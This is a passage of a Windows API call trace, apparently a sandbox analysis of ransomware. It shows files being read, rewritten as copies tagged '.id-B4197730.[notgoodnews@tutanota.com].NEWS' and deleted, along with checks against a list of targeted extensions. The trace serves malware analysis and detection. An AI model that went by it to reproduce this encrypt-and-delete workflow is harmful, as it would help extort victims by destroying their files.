lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.124] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xea, lpOverlapped=0x0) returned 1 [0081.124] SetEndOfFile (hFile=0x384) returned 1 [0081.125] CloseHandle (hObject=0x384) returned 1 [0081.463] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.463] SetEndOfFile (hFile=0x344) returned 1 [0081.464] CloseHandle (hObject=0x344) returned 1 [0081.465] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.465] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0081.465] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.465] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.465] lstrlenW (lpString=".doc") returned 4 [0081.465] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0081.465] lstrlenW (lpString=".docx") returned 5 [0081.465] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0081.465] lstrlenW (lpString=".pdf") returned 4 [0081.465] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0081.465] lstrlenW (lpString=".xls") returned 4 [0081.465] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0081.465] lstrlenW (lpString=".xlsx") returned 5 [0081.465] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0081.465] lstrlenW (lpString=".ppt") returned 4 [0081.465] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.466] lstrlenW (lpString=".zip") returned 4 [0081.466] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString=".rar") returned 4 [0081.466] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString=".bz2") returned 4 [0081.466] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString=".7z") returned 3 [0081.466] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0081.466] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.466] lstrlenW (lpString=".dbf") returned 4 [0081.466] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.466] lstrlenW (lpString=".1cd") returned 4 [0081.466] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.466] lstrlenW (lpString=".jpg") returned 4 [0081.466] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.466] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.466] lstrlenW (lpString=".doc") returned 4 [0081.466] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString=".docx") returned 5 [0081.466] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0081.466] lstrlenW (lpString=".pdf") returned 4 [0081.466] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString=".xls") returned 4 [0081.466] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString=".xlsx") returned 5 [0081.466] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0081.466] lstrlenW (lpString=".ppt") returned 4 [0081.466] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.466] lstrlenW (lpString=".zip") returned 4 [0081.466] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0081.466] lstrlenW (lpString=".rar") returned 4 [0081.466] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0081.467] lstrlenW (lpString=".bz2") returned 4 [0081.467] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0081.467] lstrlenW (lpString=".7z") returned 3 [0081.467] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0081.467] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.467] lstrlenW (lpString=".dbf") returned 4 [0081.467] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0081.467] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.467] lstrlenW (lpString=".1cd") returned 4 [0081.467] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0081.467] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0081.467] lstrlenW (lpString=".jpg") returned 4 [0081.467] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0081.467] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.467] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0081.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0081.468] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=18624) returned 1 [0081.468] CloseHandle (hObject=0x378) returned 1 [0081.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0081.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0081.468] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.468] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0081.473] GetLastError () returned 0x0 [0081.473] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0081.474] WriteFile (in: hFile=0x344, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0081.476] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.476] WriteFile (in: hFile=0x344, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x112, lpOverlapped=0x0) returned 1 [0081.476] SetEndOfFile (hFile=0x344) returned 1 [0081.476] CloseHandle (hObject=0x344) returned 1 [0081.477] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.477] SetEndOfFile (hFile=0x378) returned 1 [0081.478] CloseHandle (hObject=0x378) returned 1 [0081.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.479] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0081.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.479] lstrlenW (lpString=".doc") returned 4 [0081.479] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.479] lstrlenW (lpString=".docx") returned 5 [0081.479] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.479] lstrlenW (lpString=".pdf") returned 4 [0081.479] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.479] lstrlenW (lpString=".xls") returned 4 [0081.479] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.479] lstrlenW (lpString=".xlsx") returned 5 [0081.479] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.479] lstrlenW (lpString=".ppt") returned 4 [0081.479] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.479] lstrlenW (lpString=".zip") returned 4 [0081.479] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.479] lstrlenW (lpString=".rar") returned 4 [0081.479] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.479] lstrlenW (lpString=".bz2") returned 4 [0081.479] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.479] lstrlenW (lpString=".7z") returned 3 [0081.479] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.480] lstrlenW (lpString=".dbf") returned 4 [0081.480] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.480] lstrlenW (lpString=".1cd") returned 4 [0081.480] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.480] lstrlenW (lpString=".jpg") returned 4 [0081.480] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.480] lstrlenW (lpString=".doc") returned 4 [0081.480] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.480] lstrlenW (lpString=".docx") returned 5 [0081.480] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.480] lstrlenW (lpString=".pdf") returned 4 [0081.480] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.480] lstrlenW (lpString=".xls") returned 4 [0081.480] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.480] lstrlenW (lpString=".xlsx") returned 5 [0081.480] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.480] lstrlenW (lpString=".ppt") returned 4 [0081.480] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.480] lstrlenW (lpString=".zip") returned 4 [0081.480] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.480] lstrlenW (lpString=".rar") returned 4 [0081.480] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.480] lstrlenW (lpString=".bz2") returned 4 [0081.480] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.480] lstrlenW (lpString=".7z") returned 3 [0081.480] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.480] lstrlenW (lpString=".dbf") returned 4 [0081.480] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.481] lstrlenW (lpString=".1cd") returned 4 [0081.481] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0081.481] lstrlenW (lpString=".jpg") returned 4 [0081.481] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.481] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.481] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0081.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0081.481] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=21184) returned 1 [0081.481] CloseHandle (hObject=0x378) returned 1 [0081.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0081.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0081.481] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.482] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.755] GetLastError () returned 0x0 [0081.755] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0081.757] WriteFile (in: hFile=0x2f4, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0081.758] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.758] WriteFile (in: hFile=0x2f4, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x122, lpOverlapped=0x0) returned 1 [0081.758] SetEndOfFile (hFile=0x2f4) returned 1 [0081.758] CloseHandle (hObject=0x2f4) returned 1 [0081.760] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.760] SetEndOfFile (hFile=0x378) returned 1 [0081.760] CloseHandle (hObject=0x378) returned 1 [0081.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.761] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0081.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.761] lstrlenW (lpString=".doc") returned 4 [0081.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.761] lstrlenW (lpString=".docx") returned 5 [0081.761] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.761] lstrlenW (lpString=".pdf") returned 4 [0081.761] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.761] lstrlenW (lpString=".xls") returned 4 [0081.761] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.761] lstrlenW (lpString=".xlsx") returned 5 [0081.761] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.761] lstrlenW (lpString=".ppt") returned 4 [0081.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.761] lstrlenW (lpString=".zip") returned 4 [0081.762] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.762] lstrlenW (lpString=".rar") returned 4 [0081.762] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.762] lstrlenW (lpString=".bz2") returned 4 [0081.762] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.762] lstrlenW (lpString=".7z") returned 3 [0081.762] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.762] lstrlenW (lpString=".dbf") returned 4 [0081.762] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.762] lstrlenW (lpString=".1cd") returned 4 [0081.762] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.762] lstrlenW (lpString=".jpg") returned 4 [0081.762] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.762] lstrlenW (lpString=".doc") returned 4 [0081.762] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.762] lstrlenW (lpString=".docx") returned 5 [0081.762] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.762] lstrlenW (lpString=".pdf") returned 4 [0081.762] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.762] lstrlenW (lpString=".xls") returned 4 [0081.762] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.762] lstrlenW (lpString=".xlsx") returned 5 [0081.762] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.762] lstrlenW (lpString=".ppt") returned 4 [0081.762] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.762] lstrlenW (lpString=".zip") returned 4 [0081.762] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.762] lstrlenW (lpString=".rar") returned 4 [0081.762] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.762] lstrlenW (lpString=".bz2") returned 4 [0081.762] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.763] lstrlenW (lpString=".7z") returned 3 [0081.763] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.763] lstrlenW (lpString=".dbf") returned 4 [0081.763] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.763] lstrlenW (lpString=".1cd") returned 4 [0081.763] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0081.763] lstrlenW (lpString=".jpg") returned 4 [0081.763] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.763] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.763] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0081.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0081.763] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=26816) returned 1 [0081.763] CloseHandle (hObject=0x378) returned 1 [0081.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0081.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0081.764] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.764] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.764] GetLastError () returned 0x0 [0081.764] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x68c0, lpOverlapped=0x0) returned 1 [0081.766] WriteFile (in: hFile=0x2f4, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x68d0, lpOverlapped=0x0) returned 1 [0081.767] ReadFile (in: hFile=0x378, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.767] WriteFile (in: hFile=0x2f4, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11a, lpOverlapped=0x0) returned 1 [0081.767] SetEndOfFile (hFile=0x2f4) returned 1 [0081.767] CloseHandle 